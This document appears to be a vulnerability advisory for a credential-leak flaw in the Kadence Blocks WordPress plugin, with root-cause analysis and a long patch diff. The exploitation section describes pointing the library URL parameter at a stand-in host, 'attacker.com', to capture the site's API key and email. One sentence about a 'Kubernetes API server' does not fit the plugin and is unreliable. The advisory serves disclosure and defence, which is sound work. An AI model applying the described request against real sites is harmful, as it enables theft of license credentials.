Published : August 8, 2026

CVE-2026-66696: Kadence Blocks — Page Builder Toolkit for Gutenberg Editor <= 3.7.8 Authenticated (Contributor+) Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 3.7.8
Patched Version 3.7.8.1
Disclosed July 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66696: This vulnerability allows authenticated attackers with contributor-level access to extract sensitive user or configuration data from the WordPress site. The issue affects the Kadence Blocks plugin, specifically in the prebuilt library REST API and AJAX handlers, which failed to restrict requests to known library hosts. The severity is medium (CVSS 4.3), but the potential for data exposure is significant.

Root Cause: The root cause is a missing security check in the prebuilt library import functionality. In the file includes/class-kadence-blocks-prebuilt-library-rest-api.php, the library URL is constructed directly from user-supplied input. For instance, in the get_patterns function (line 1408), the code builds the library URL as rtrim( $library_url, ‘/’ ) . ‘/wp-json/kadence-cloud/v1/page/’. This allows an attacker to set the ‘library_url’ parameter to any arbitrary URL, including a malicious server under their control. Critically, the function get_remote_file_contents (line 2360) and other similar functions, such as process_data_ajax_callback in includes/class-kadence-blocks-prebuilt-library.php, would then attach license credentials (api_email and api_key) to requests sent to this attacker-controlled URL. The condition for attaching credentials was only based on the package type (e.g., ‘templates’, ‘section’, ‘pages’, ‘template’), not on whether the destination was a trusted Kadence API host. This design flaw allows the exfiltration of sensitive license data.

Exploitation: An attacker with contributor-level access can trigger the vulnerable AJAX actions. The most direct attack vector is through the WordPress admin-ajax.php endpoint. By posting to /wp-admin/admin-ajax.php with the action parameter set to the vulnerable handler, such as kadence_blocks_get_prebuilt_data or kadence_blocks_process_data, the attacker can control the ‘url’ parameter. They would send a request with library_url set to their own malicious server, e.g., https://attacker.com. The vulnerable code then constructs the URL and sends it to the attacker’s server, including the site’s api_email and api_key parameters in the request body. This allows an attacker to silently steal the site’s license credentials and potentially other sensitive data that the library endpoint would normally return, such as the local site URL or user data, depending on the specific handler triggered.

Patch Analysis: The patch introduces new helper methods, resolve_library_url and resolve_connection_url, and a security check function is_kadence_api_url. The core fix in the REST API and AJAX handlers is to validate the user-supplied ‘library_url’ against a list of known Kadence API hosts. The patch now constructs the URL using the new resolve_library_url function. If the request does not originate from a trusted library URL, the function returns an empty string, and the handler returns an error to the user. Furthermore, the condition for attaching license credentials is changed to `$this->is_kadence_api_url( $library_url ) && ( … )`. This ensures that api_email and api_key are only sent to trusted domains, preventing the exfiltration of these sensitive credentials to a malicious attacker’s server.

Impact: Successful exploitation allows an authenticated attacker to leak sensitive information. The primary impact is the exfiltration of the site’s Kadence API license key and email associated with the license. While the severity is medium, this credential theft could be used for further attacks, such as accessing the account holder’s license details or using the API key to perform actions on their behalf. It also allows an attacker to make requests to arbitrary internal network services, potentially leading to further information disclosure. The plugin’s trust in the Kubernetes API server endpoint allows for SSRF, but the primary, direct impact is the exposure of sensitive user and configuration data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-abstract-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-abstract-block.php
@@ -197,11 +197,16 @@
 	/**
 	 * Render Block CSS in Page Head.
 	 *
+	 * @since 3.7.8.1 Normalize the unique id before use.
+	 *
 	 * @param array $block the block data.
 	 */
 	public function output_head_data( $block ) {
 		if ( isset( $block['attrs'] ) && is_array( $block['attrs'] ) ) {
 			$attributes = $block['attrs'];
+			if ( ! empty( $attributes['uniqueID'] ) ) {
+				$attributes['uniqueID'] = $this->sanitize_unique_id( $attributes['uniqueID'] );
+			}
 			if ( in_array( $this->block_name, $this->is_cpt_block ) ) {
 				$unique_id = ! empty( $attributes['id'] ) ? strval( $attributes['id'] ) . '-cpt-id' : '';
 				if ( empty( $unique_id ) ) {
@@ -211,7 +216,7 @@
 				$unique_id = ! empty( $attributes['uniqueID'] ) ? $attributes['uniqueID'] : '';
 			}
 			if ( ! empty( $unique_id ) ) {
-				$unique_id = str_replace( '/', '-', $unique_id );
+				$unique_id = $this->sanitize_unique_id( $unique_id );
 				if ( in_array( $this->block_name, $this->supports_merged_defaults ) ) {
 					$attributes = $this->get_attributes_with_defaults( $unique_id, $attributes );
 				}
@@ -251,12 +256,17 @@
 	/**
 	 * Render Block CSS
 	 *
+	 * @since 3.7.8.1 Normalize the unique id before use.
+	 *
 	 * @param array    $attributes the blocks attribtues.
 	 * @param string   $content the blocks content.
 	 * @param WP_Block $block_instance The instance of the WP_Block class that represents the block being rendered.
 	 */
 	public function render_css( $attributes, $content, $block_instance ) {
 		$this->render_scripts( $attributes, true );
+		if ( ! empty( $attributes['uniqueID'] ) ) {
+			$attributes['uniqueID'] = $this->sanitize_unique_id( $attributes['uniqueID'] );
+		}
 		if ( in_array( $this->block_name, $this->is_cpt_block ) ) {
 			$unique_id = ! empty( $attributes['id'] ) ? strval( $attributes['id'] ) . '-cpt-id' : '';
 			if ( empty( $unique_id ) ) {
@@ -266,7 +276,7 @@
 			$unique_id = ! empty( $attributes['uniqueID'] ) ? $attributes['uniqueID'] : '';
 		}
 		if ( ! empty( $unique_id ) ) {
-			$unique_id       = str_replace( '/', '-', $unique_id );
+			$unique_id       = $this->sanitize_unique_id( $unique_id );
 			$unique_style_id = apply_filters( 'kadence_blocks_build_render_unique_id', $unique_id, $this->block_name, $attributes );
 			$css_class       = Kadence_Blocks_CSS::get_instance();

@@ -548,6 +558,19 @@
 	}

 	/**
+	 * Normalize a blocks unique id so it is safe to use in markup and style rules.
+	 *
+	 * @since 3.7.8.1
+	 *
+	 * @param string $unique_id The blocks unique id.
+	 *
+	 * @return string
+	 */
+	protected function sanitize_unique_id( $unique_id ) {
+		return preg_replace( '/[^A-Za-z0-9_-]/', '', str_replace( '/', '-', (string) $unique_id ) );
+	}
+
+	/**
 	 * Build escaped HTML attributes to be placed in an HTML tag.
 	 *
 	 * @param array<string, string|int|float|bool> $attributes The html attributes to render to a tag.
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-advancedgallery-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-advancedgallery-block.php
@@ -1132,7 +1132,7 @@
 		$output .= '<div class="kadence-blocks-gallery-item-inner">';
 		$figure_style = '';
 		if ( ! empty( $padding_bottom ) && 'below' === $caption_style ) {
-			$figure_style = ' style="max-width:' . $image['width'] . 'px;"';
+			$figure_style = ' style="max-width:' . esc_attr( $image['width'] ) . 'px;"';
 		}
 		$output .= '<figure class="' . esc_attr( implode( ' ', $fig_classes ) ) . '"' . $figure_style . '>';
 		if ( ! empty( $href ) ) {
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-googlemaps-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-googlemaps-block.php
@@ -235,8 +235,8 @@
 		}

 		$zoom    = empty( $attributes['zoom'] ) ? 11 : esc_attr( $attributes['zoom'] );
-		$gMapLat = empty( $attributes['lat'] ) ? '37.8201' : esc_attr($attributes['lat'] );
-		$gMapLng = empty( $attributes['lng'] ) ? '-122.4781' : esc_attr( $attributes['lng'] );
+		$gMapLat = ! empty( $attributes['lat'] ) && is_numeric( $attributes['lat'] ) ? $attributes['lat'] : '37.8201';
+		$gMapLng = ! empty( $attributes['lng'] ) && is_numeric( $attributes['lng'] ) ? $attributes['lng'] : '-122.4781';

 		$content .= '<script>';
 		$content .= 'function kb_google_map' . $this->escape_for_js_variable( $unique_id ) . '() {';
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-identity-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-identity-block.php
@@ -102,7 +102,7 @@
 	 */
 	public function build_html( $attributes, $unique_id, $content, $block_instance ) {
 		$layout = isset( $attributes['layout'] ) ? $attributes['layout'] : 'logo-title';
-		$layout_class = 'kb-identity-layout-container kb-identity-layout-' . $layout;
+		$layout_class = esc_attr( 'kb-identity-layout-container kb-identity-layout-' . $layout );
 		$content = $this->strip_anchor_tags( $content );

 		if (!empty($attributes['urlTransparent'])) {
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-progress-bar-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-progress-bar-block.php
@@ -66,6 +66,8 @@
 	/**
 	 * Builds CSS for block.
 	 *
+	 * @since 3.7.8.1 Escape the mask url output.
+	 *
 	 * @param array              $attributes the blocks attributes.
 	 * @param Kadence_Blocks_CSS $css        the css class for blocks.
 	 * @param string             $unique_id  the blocks attr ID.
@@ -175,7 +177,7 @@
 				}
 			}

-			$mask_image_string    = trim( str_repeat( 'url(' . $mask_url . '),', $iterations ), ',' );
+			$mask_image_string    = trim( str_repeat( 'url(' . esc_url_raw( $mask_url ) . '),', $iterations ), ',' );
 			$mask_repeat_string   = trim( str_repeat( 'no-repeat,', $iterations ), ',' );
 			$mask_position_array  = $iterations > 1 ? range( 0, 100, 100 / ( $iterations - 1 ) ) : [ 0 ];
 			$mask_position_string = trim( implode( '%,', $mask_position_array ) . '%', ',' );
@@ -234,6 +236,8 @@
 	}
 	/**
 	 * Builds HTML for block.
+	 *
+	 * @since 3.7.8.1 Escape the container class output.
 	 */
 	public function build_html( $attributes, $unique_id, $content, $block_instance ) {

@@ -257,7 +261,7 @@
 			! empty( $attributes['progressWidthMobile'] ) ? $attributes['progressWidthMobile'] : ( ! empty( $attributes['progressWidthTablet'] ) ? $attributes['progressWidthTablet'] : ( ! empty( $attributes['progressWidth'] ) ? $attributes['progressWidth'] : 2 ) ),
 		];

-		$content = '<div class="kb-progress-bar-container kb-progress-bar-container' . $unique_id . ' kb-progress-bar-init kb-progress-bar-type-' . $attributes['barType'] . ' ' . ( ! empty( $attributes['align'] ) ? 'align' . $attributes['align'] : '' ) . '">';
+		$content = '<div class="' . esc_attr( 'kb-progress-bar-container kb-progress-bar-container' . $unique_id . ' kb-progress-bar-init kb-progress-bar-type-' . $attributes['barType'] . ' ' . ( ! empty( $attributes['align'] ) ? 'align' . $attributes['align'] : '' ) ) . '">';

 		$content .= $this->get_label( $attributes, 'above' );

@@ -400,6 +404,8 @@
 	/**
 	 * Get HTML for displaying the percent complete.
 	 *
+	 * @since 3.7.8.1 Escape the rendered output.
+	 *
 	 * @param $attributes
 	 *
 	 * @return string
@@ -419,7 +425,7 @@

 		$position = $attributes['labelPosition'] ?? 'above';

-		return '<span id="current-progress-' . $position . $attributes['uniqueID'] . '" class="kb-current-progress-' . $position . ' kt-progress-percent">' . $prefix . $starting . $suffix . '</span>';
+		return '<span id="' . esc_attr( 'current-progress-' . $position . $attributes['uniqueID'] ) . '" class="' . esc_attr( 'kb-current-progress-' . $position ) . ' kt-progress-percent">' . esc_html( $prefix . $starting . $suffix ) . '</span>';
 	}

 	/**
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-row-layout-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-row-layout-block.php
@@ -1670,7 +1670,7 @@
 		if ( 'local' == $background_video_type ) {
 			$output = sprintf( '<div class="kb-blocks-bg-video-container"><video %1$s></video>%2$s</div>', implode( ' ', $video_html_attributes ), $btns_output );
 		} else {
-			$output = sprintf( '<div class="kb-blocks-bg-video-container embedded"><div class="kb-bg-video-iframe kb-bg-video-ratio-%1$s"><iframe frameborder="0" %2$s></iframe></div></div>', $ratio, implode( ' ', $video_html_attributes ) );
+			$output = sprintf( '<div class="kb-blocks-bg-video-container embedded"><div class="kb-bg-video-iframe kb-bg-video-ratio-%1$s"><iframe frameborder="0" %2$s></iframe></div></div>', esc_attr( $ratio ), implode( ' ', $video_html_attributes ) );
 		}
 		return $output;
 	}
--- a/kadence-blocks/includes/blocks/class-kadence-blocks-testimonial-block.php
+++ b/kadence-blocks/includes/blocks/class-kadence-blocks-testimonial-block.php
@@ -199,7 +199,7 @@

 		$svg = Kadence_Blocks_Svg_Render::render( $iconStyles[0]['icon'], $fill, $stroke_width, $title );

-		$icon .= "<div class='kt-svg-testimonial-global-icon kt-svg-testimonial-global-icon-icon-" . $iconStyles[0]['icon'] . "'>";
+		$icon .= "<div class='kt-svg-testimonial-global-icon kt-svg-testimonial-global-icon-icon-" . esc_attr( $iconStyles[0]['icon'] ) . "'>";
 		$icon .= $svg;
 		$icon .= '</div>';

@@ -223,7 +223,7 @@
 		$media .= '<div class="kadence-testimonial-image-intrisic">';

 		if ( $attributes['media'] === 'icon' && $attributes['icon'] ) {
-			$extras = ' height="' . esc_attr( $attributes['isize'] ) . '" width="' . esc_attr( $attributes['isize'] ) . '" style="color: ' . ( isset( $attributes['color'] ) ? $css_class->render_color( $attributes['color'] ) : 'undefined' ) . '"';
+			$extras = ' height="' . esc_attr( $attributes['isize'] ) . '" width="' . esc_attr( $attributes['isize'] ) . '" style="color: ' . ( isset( $attributes['color'] ) ? esc_attr( $css_class->render_color( $attributes['color'] ) ) : 'undefined' ) . '"';
 			$svg    = Kadence_Blocks_Svg_Render::render( $attributes['icon'], $fill, $stroke_width, $attributes['ititle'], false, $extras );

 			$media .= '<div class="kt-svg-testimonial-icon kt-svg-testimonial-icon-' . esc_attr( $attributes['icon'] ) . '">';
@@ -287,7 +287,7 @@
 			return wp_get_attachment_image( $attributes['id'], $size, false, $args );
 		}
 		$image_url = $this->get_media_url( $attributes, $media_styles, $style, $container_max_width );
-		return '<img src="' . $image_url . '" class="kt-testimonial-image"' . ( ! empty( $css_style ) ? ' style="' . $css_style . '"' : '' ) . ' />';
+		return '<img src="' . esc_url( $image_url ) . '" class="kt-testimonial-image"' . ( ! empty( $css_style ) ? ' style="' . esc_attr( $css_style ) . '"' : '' ) . ' />';
 	}
 	/**
 	 * Get the media URL
--- a/kadence-blocks/includes/blocks/form/class-kadence-blocks-accept-block.php
+++ b/kadence-blocks/includes/blocks/form/class-kadence-blocks-accept-block.php
@@ -80,15 +80,15 @@
 		$check_label              = $attributes;
 		$check_label['inputName'] = 'cb' . $class_id;

-		$inner_content         .= '<fieldset class="kb-radio-check-item-wrap" id="' . $this->field_name( $check_label ) . '" data-type="accept" data-required="' . $is_required . '" ' . $this->additional_fieldset_attributes( $attributes ) . '>';
+		$inner_content         .= '<fieldset class="kb-radio-check-item-wrap" id="' . esc_attr( $this->field_name( $check_label ) ) . '" data-type="accept" data-required="' . esc_attr( $is_required ) . '" ' . $this->additional_fieldset_attributes( $attributes ) . '>';
 		$inner_content         .= $this->field_legend( $check_label );
 		$inner_content         .= $this->field_aria_label( $attributes );
 		$is_checked_from_param  = ! empty( $this->get_default( $attributes ) );
 		$is_checked_from_editor = isset( $attributes['isChecked'] ) && true === $attributes['isChecked'] ? true : false;
 		$is_checked             = $is_checked_from_editor || $is_checked_from_param;
 		$inner_content         .= '<div class="kb-radio-check-item">';
-		$inner_content         .= '<input name="' . $this->field_name( $attributes ) . '" id="' . $this->field_id( $attributes ) . '_0"' . $this->aria_described_by( $attributes ) . ' data-label="' . esc_attr( $this->get_label( $attributes ) ) . '"' . $this->get_auto_complete( $attributes ) . ' type="' . $type . '" value="' . esc_attr( $this->get_accept_default( $attributes ) ) . '"' . ( $is_checked ? ' checked' : '' ) . ' data-type="accept" class="kb-field kb-accept-field kb-' . $type . '-field" data-required="' . $is_required . '" ' . $this->additional_field_attributes( $attributes ) . '/>';
-		$inner_content         .= '<label for="' . $this->field_id( $attributes ) . '_0">' . $attributes['description'];
+		$inner_content         .= '<input name="' . esc_attr( $this->field_name( $attributes ) ) . '" id="' . esc_attr( $this->field_id( $attributes ) ) . '_0"' . $this->aria_described_by( $attributes ) . ' data-label="' . esc_attr( $this->get_label( $attributes ) ) . '"' . $this->get_auto_complete( $attributes ) . ' type="' . esc_attr( $type ) . '" value="' . esc_attr( $this->get_accept_default( $attributes ) ) . '"' . ( $is_checked ? ' checked' : '' ) . ' data-type="accept" class="kb-field kb-accept-field kb-' . esc_attr( $type ) . '-field" data-required="' . esc_attr( $is_required ) . '" ' . $this->additional_field_attributes( $attributes ) . '/>';
+		$inner_content         .= '<label for="' . esc_attr( $this->field_id( $attributes ) ) . '_0">' . $attributes['description'];
 		if ( ! empty( $attributes['required'] ) && $attributes['required'] && ( empty( $attributes['label'] ) || ( isset( $attributes['showLabel'] ) && ! $attributes['showLabel'] ) ) ) {
 			$inner_content .= '<span class="' . self::REQUIRED_CLASS_NAME . '">*</span>';
 		}
--- a/kadence-blocks/includes/blocks/form/class-kadence-blocks-time-input-block.php
+++ b/kadence-blocks/includes/blocks/form/class-kadence-blocks-time-input-block.php
@@ -79,7 +79,7 @@
 		$inner_content      = '';
 		$inner_content     .= $this->field_label( $attributes );
 		$inner_content     .= $this->field_aria_label( $attributes );
-		$inner_content     .= '<input name="' . $this->field_name( $attributes ) . '" id="' . $this->field_id( $attributes ) . '"' . $this->aria_described_by( $attributes ) . ' data-label="' . esc_attr( $this->get_label( $attributes ) ) . '"' . $this->get_auto_complete( $attributes ) . ' type="' . $type . '" value="' . esc_attr( $this->get_default( $attributes ) ) . '" data-type="' . $type . '" class="kb-field kb-' . $type . '-field" data-required="' . $is_required . '" ' . $this->additional_field_attributes( $attributes ) . '/>';
+		$inner_content     .= '<input name="' . esc_attr( $this->field_name( $attributes ) ) . '" id="' . esc_attr( $this->field_id( $attributes ) ) . '"' . $this->aria_described_by( $attributes ) . ' data-label="' . esc_attr( $this->get_label( $attributes ) ) . '"' . $this->get_auto_complete( $attributes ) . ' type="' . esc_attr( $type ) . '" value="' . esc_attr( $this->get_default( $attributes ) ) . '" data-type="' . esc_attr( $type ) . '" class="kb-field kb-' . esc_attr( $type ) . '-field" data-required="' . esc_attr( $is_required ) . '" ' . $this->additional_field_attributes( $attributes ) . '/>';

 		$inner_content .= $this->field_help_text( $attributes );

--- a/kadence-blocks/includes/class-kadence-blocks-prebuilt-library-rest-api.php
+++ b/kadence-blocks/includes/class-kadence-blocks-prebuilt-library-rest-api.php
@@ -1388,6 +1388,8 @@
 	/**
 	 * Retrieves a collection of objects.
 	 *
+	 * @since 3.7.8.1 Restrict requests to known library locations.
+	 *
 	 * @param WP_REST_Request $request Full details about the request.
 	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
 	 */
@@ -1404,10 +1406,14 @@

 		if ( ! empty( $library_url ) ) {
 			if ( 'page' === $pattern_type ) {
-				$library_url = rtrim( $library_url, '/' ) . '/wp-json/kadence-cloud/v1/page/';
-				$extra       = 'page-item';
+				$extra    = 'page-item';
+				$endpoint = '/wp-json/kadence-cloud/v1/page/';
 			} else {
-				$library_url = rtrim( $library_url, '/' ) . '/wp-json/kadence-cloud/v1/single/';
+				$endpoint = '/wp-json/kadence-cloud/v1/single/';
+			}
+			$library_url = $this->resolve_library_url( $library_url, $endpoint );
+			if ( empty( $library_url ) ) {
+				return rest_ensure_response( new WP_Error( 'invalid_request', __( 'Invalid Request, Unknown Library', 'kadence-blocks' ), [ 'status' => 400 ] ) );
 			}
 		} else {
 			$library_url = $this->get_patterns_single_url();
@@ -1430,7 +1436,8 @@
 			if ( 'templates' !== $library && 'pages' !== $library && 'template' !== $library ) {
 				$args['data'] = 'true';
 			}
-			if ( 'templates' === $library || 'section' === $library || 'pages' === $library || 'template' === $library ) {
+			// License credentials are only ever sent to the Kadence library hosts.
+			if ( $this->is_kadence_api_url( $library_url ) && ( 'templates' === $library || 'section' === $library || 'pages' === $library || 'template' === $library ) ) {
 				$args['api_key'] = $this->api_key;
 				if ( ! empty( $this->api_email ) ) {
 					// Send in case we need to verify with old api.
@@ -1483,6 +1490,8 @@
 	/**
 	 * Retrieves a collection of objects.
 	 *
+	 * @since 3.7.8.1 Restrict requests to known library locations.
+	 *
 	 * @param WP_REST_Request $request Full details about the request.
 	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
 	 */
@@ -1493,7 +1502,10 @@
 		if ( empty( $library_url ) || empty( $key ) ) {
 			return rest_ensure_response( new WP_Error( 'invalid_request', __( 'Invalid Request, Incorrect Access Key', 'kadence-blocks' ), [ 'status' => 401 ] ) );
 		}
-		$url = empty( $library_url ) ? '' : rtrim( sanitize_text_field( $library_url ), '/' ) . '/wp-json/kadence-cloud/v1/info/';
+		$url = $this->resolve_connection_url( sanitize_text_field( $library_url ), '/wp-json/kadence-cloud/v1/info/' );
+		if ( empty( $url ) ) {
+			return rest_ensure_response( new WP_Error( 'invalid_request', __( 'Invalid Request, Unknown Library', 'kadence-blocks' ), [ 'status' => 400 ] ) );
+		}
 		// Do you have the data?
 		$site_url = get_original_domain();
 		$args     = [
@@ -1539,6 +1551,8 @@
 	/**
 	 * Retrieves a collection of objects.
 	 *
+	 * @since 3.7.8.1 Restrict requests to known library locations.
+	 *
 	 * @param WP_REST_Request $request Full details about the request.
 	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
 	 */
@@ -1551,10 +1565,10 @@
 		$meta        = $request->get_param( self::PROP_META );

 		if ( ! empty( $library_url ) ) {
-			if ( ! empty( $meta ) && 'pages' === $meta ) {
-				$library_url = rtrim( $library_url, '/' ) . '/wp-json/kadence-cloud/v1/page-categories/';
-			} else {
-				$library_url = rtrim( $library_url, '/' ) . '/wp-json/kadence-cloud/v1/categories/';
+			$endpoint    = ! empty( $meta ) && 'pages' === $meta ? '/wp-json/kadence-cloud/v1/page-categories/' : '/wp-json/kadence-cloud/v1/categories/';
+			$library_url = $this->resolve_library_url( $library_url, $endpoint );
+			if ( empty( $library_url ) ) {
+				return rest_ensure_response( new WP_Error( 'invalid_request', __( 'Invalid Request, Unknown Library', 'kadence-blocks' ), [ 'status' => 400 ] ) );
 			}
 		} elseif ( ! empty( $library ) && 'pages' === $library ) {
 			$library_url = $this->remote_pages_cat_url;
@@ -1648,6 +1662,8 @@
 	/**
 	 * Retrieves a collection of objects.
 	 *
+	 * @since 3.7.8.1 Restrict requests to known library locations.
+	 *
 	 * @param WP_REST_Request $request Full details about the request.
 	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
 	 */
@@ -1660,10 +1676,10 @@
 		$meta        = $request->get_param( self::PROP_META );

 		if ( ! empty( $library_url ) ) {
-			if ( ! empty( $meta ) && 'pages' === $meta ) {
-				$library_url = rtrim( $library_url, '/' ) . '/wp-json/kadence-cloud/v1/pages/';
-			} else {
-				$library_url = rtrim( $library_url, '/' ) . '/wp-json/kadence-cloud/v1/get/';
+			$endpoint    = ! empty( $meta ) && 'pages' === $meta ? '/wp-json/kadence-cloud/v1/pages/' : '/wp-json/kadence-cloud/v1/get/';
+			$library_url = $this->resolve_library_url( $library_url, $endpoint );
+			if ( empty( $library_url ) ) {
+				return rest_ensure_response( new WP_Error( 'invalid_request', __( 'Invalid Request, Unknown Library', 'kadence-blocks' ), [ 'status' => 400 ] ) );
 			}
 		} elseif ( ! empty( $library ) && 'pages' === $library ) {
 			$library_url = $this->remote_pages_url;
@@ -2349,6 +2365,8 @@
 	/**
 	 * Get remote file contents.
 	 *
+	 * @since 3.7.8.1 Only attach credentials for known library locations.
+	 *
 	 * @access public
 	 * @return string Returns the remote URL contents.
 	 */
@@ -2358,7 +2376,8 @@
 			'key'  => $key,
 			'site' => $site_url,
 		];
-		if ( 'templates' === $library || 'section' === $library || 'pages' === $library || 'template' === $library ) {
+		// License credentials are only ever sent to the Kadence library hosts.
+		if ( $this->is_kadence_api_url( $library_url ) && ( 'templates' === $library || 'section' === $library || 'pages' === $library || 'template' === $library ) ) {
 			$args['api_email']  = $this->api_email;
 			$args['api_key']    = $this->api_key;
 			$args['product_id'] = $this->product_id;
@@ -2405,6 +2424,8 @@
 	/**
 	 * Get remote file contents.
 	 *
+	 * @since 3.7.8.1 Only attach credentials for known library locations.
+	 *
 	 * @access public
 	 * @return string Returns the remote URL contents.
 	 */
@@ -2414,7 +2435,8 @@
 			'key'  => $key,
 			'site' => $site_url,
 		];
-		if ( 'templates' === $library || 'section' === $library || 'pages' === $library || 'template' === $library ) {
+		// License credentials are only ever sent to the Kadence library hosts.
+		if ( $this->is_kadence_api_url( $library_url ) && ( 'templates' === $library || 'section' === $library || 'pages' === $library || 'template' === $library ) ) {
 			$args['api_email']  = $this->api_email;
 			$args['api_key']    = $this->api_key;
 			$args['product_id'] = $this->product_id;
--- a/kadence-blocks/includes/class-kadence-blocks-prebuilt-library.php
+++ b/kadence-blocks/includes/class-kadence-blocks-prebuilt-library.php
@@ -431,6 +431,8 @@
 	/**
 	 * Get remote file contents.
 	 *
+	 * @since 3.7.8.1 Only attach credentials for known library locations.
+	 *
 	 * @access public
 	 * @return string Returns the remote URL contents.
 	 */
@@ -440,7 +442,8 @@
 			'key'  => $this->key,
 			'site' => $site_url,
 		];
-		if ( 'templates' === $this->package || 'section' === $this->package || 'pages' === $this->package || $this->is_template ) {
+		// License credentials are only ever sent to the Kadence library hosts.
+		if ( $this->is_kadence_api_url( $this->url ) && ( 'templates' === $this->package || 'section' === $this->package || 'pages' === $this->package || $this->is_template ) ) {
 			if ( ! empty( $this->api_email ) ) {
 				$args['api_email'] = $this->api_email;
 			}
@@ -540,6 +543,8 @@
 	 * 2). query api for data if needed
 	 * 3). import content
 	 * 4). execute 'after content import' actions (before widget import WP action, widget import, customizer import, after import WP action)
+	 *
+	 * @since 3.7.8.1 Restrict requests to known library locations.
 	 */
 	public function prebuilt_connection_info_ajax_callback() {
 		// Verify if the AJAX call is valid (checks nonce and current_user_can).
@@ -548,8 +553,11 @@
 		$this->api_key                  = $this->get_stored_license_key();
 		$this->api_email                = $this->get_stored_license_email();
 		$this->package                  = empty( $_POST['package'] ) ? 'section' : sanitize_text_field( $_POST['package'] );
-		$this->url                      = empty( $_POST['url'] ) ? '' : rtrim( sanitize_text_field( $_POST['url'] ), '/' ) . '/wp-json/kadence-cloud/v1/info/';
+		$this->url                      = $this->resolve_connection_url( empty( $_POST['url'] ) ? '' : sanitize_text_field( $_POST['url'] ), '/wp-json/kadence-cloud/v1/info/' );
 		$this->key                      = empty( $_POST['key'] ) ? 'section' : sanitize_text_field( $_POST['key'] );
+		if ( empty( $this->url ) ) {
+			wp_send_json( esc_html__( 'No Connection data', 'kadence-blocks' ) );
+		}
 		// Do you have the data?
 		$get_data = $this->get_connection_data();
 		if ( ! $get_data ) {
@@ -618,6 +626,8 @@
 	 * 2). query api for data if needed
 	 * 3). import content
 	 * 4). execute 'after content import' actions (before widget import WP action, widget import, customizer import, after import WP action)
+	 *
+	 * @since 3.7.8.1 Restrict requests to known library locations.
 	 */
 	public function prebuilt_data_ajax_callback() {
 		// Verify if the AJAX call is valid (checks nonce and current_user_can).
@@ -628,9 +638,12 @@
 		$this->product_id               = empty( $_POST['product_id'] ) ? '' : sanitize_text_field( $_POST['product_id'] );
 		$this->product_slug             = empty( $_POST['product_slug'] ) ? '' : sanitize_text_field( $_POST['product_slug'] );
 		$this->package                  = empty( $_POST['package'] ) ? 'section' : sanitize_text_field( $_POST['package'] );
-		$this->url                      = empty( $_POST['url'] ) ? $this->remote_url : rtrim( sanitize_text_field( $_POST['url'] ), '/' ) . '/wp-json/kadence-cloud/v1/get/';
+		$this->url                      = $this->resolve_library_url( empty( $_POST['url'] ) ? '' : sanitize_text_field( $_POST['url'] ), '/wp-json/kadence-cloud/v1/get/', $this->remote_url );
 		$this->key                      = isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ? sanitize_text_field( $_POST['key'] ) : 'section';
 		$this->is_template              = isset( $_POST['is_template'] ) && ! empty( $_POST['is_template'] ) ? true : false;
+		if ( empty( $this->url ) ) {
+			wp_send_json( esc_html__( 'No library data', 'kadence-blocks' ) );
+		}
 		// Do you have the data?
 		$get_data = $this->get_template_data();
 		if ( ! $get_data ) {
@@ -921,6 +934,7 @@
 	 * Ajax function for processing the import data.
 	 *
 	 * @since 3.7.8 Require the upload_files capability.
+	 * @since 3.7.8.1 Restrict requests to known library locations.
 	 */
 	public function process_data_ajax_callback() {
 		// Verify if the AJAX call is valid (checks nonce and current_user_can).
@@ -937,8 +951,11 @@
 		$import_style   = empty( $_POST['import_style'] ) ? 'normal' : sanitize_text_field( $_POST['import_style'] );
 		$this->api_key  = $this->get_stored_license_key();
 		$this->package  = empty( $_POST['package'] ) ? 'section' : sanitize_text_field( $_POST['package'] );
-		$this->url      = empty( $_POST['url'] ) ? $this->remote_url : rtrim( sanitize_text_field( $_POST['url'] ), '/' ) . '/wp-json/kadence-cloud/v1/get/';
+		$this->url      = $this->resolve_library_url( empty( $_POST['url'] ) ? '' : sanitize_text_field( $_POST['url'] ), '/wp-json/kadence-cloud/v1/get/', $this->remote_url );
 		$this->key      = isset( $_POST['key'] ) && ! empty( $_POST['key'] ) ? sanitize_text_field( $_POST['key'] ) : 'section';
+		if ( empty( $this->url ) ) {
+			wp_send_json( esc_html__( 'No data', 'kadence-blocks' ) );
+		}
 		$data           = $this->process_content( $data, $import_library, $import_type, $import_id, $import_style );
 		if ( ! $data ) {
 			// Send JSON Error response to the AJAX call.
@@ -1252,6 +1269,8 @@
 	 * 2). query api for data if needed
 	 * 3). import content
 	 * 4). execute 'after content import' actions (before widget import WP action, widget import, customizer import, after import WP action)
+	 *
+	 * @since 3.7.8.1 Restrict requests to known library locations.
 	 */
 	public function prebuilt_data_reload_ajax_callback() {

@@ -1263,9 +1282,12 @@
 		$this->product_id               = empty( $_POST['product_id'] ) ? '' : sanitize_text_field( $_POST['product_id'] );
 		$this->product_slug             = empty( $_POST['product_slug'] ) ? '' : sanitize_text_field( $_POST['product_slug'] );
 		$this->package                  = empty( $_POST['package'] ) ? 'section' : sanitize_text_field( $_POST['package'] );
-		$this->url                      = empty( $_POST['url'] ) ? $this->remote_url : rtrim( sanitize_text_field( $_POST['url'] ), '/' ) . '/wp-json/kadence-cloud/v1/get/';
+		$this->url                      = $this->resolve_library_url( empty( $_POST['url'] ) ? '' : sanitize_text_field( $_POST['url'] ), '/wp-json/kadence-cloud/v1/get/', $this->remote_url );
